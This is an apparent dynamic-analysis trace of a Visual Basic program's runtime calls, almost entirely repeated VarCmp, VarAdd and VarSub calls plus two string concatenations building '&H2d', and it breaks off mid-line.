[0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.190] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.191] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.191] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.191] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.191] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.191] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.191] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.212] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.212] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.212] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.213] VarBstrCat (in: bstrLeft="&H2", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.213] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.213] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.213] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.213] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.213] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.213] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.213] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.214] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.214] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.214] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.214] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.214] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.215] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.215] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.215] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.215] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.215] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.215] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.216] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.216] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.216] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.216] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.216] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.216] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.217] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.217] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.217] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.217] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.217] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.218] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.218] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.218] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.218] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.218] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.218] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.218] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.219] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.219] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.219] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.219] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.219] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.220] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.220] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.220] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.220] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.220] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.220] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.221] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.221] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.221] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.221] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.221] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.221] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.221] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.222] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.222] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.222] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.222] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.222] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.223] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.223] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.223] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.223] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.223] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.223] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.224] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.224] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.224] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.224] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.224] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.225] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.225] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, 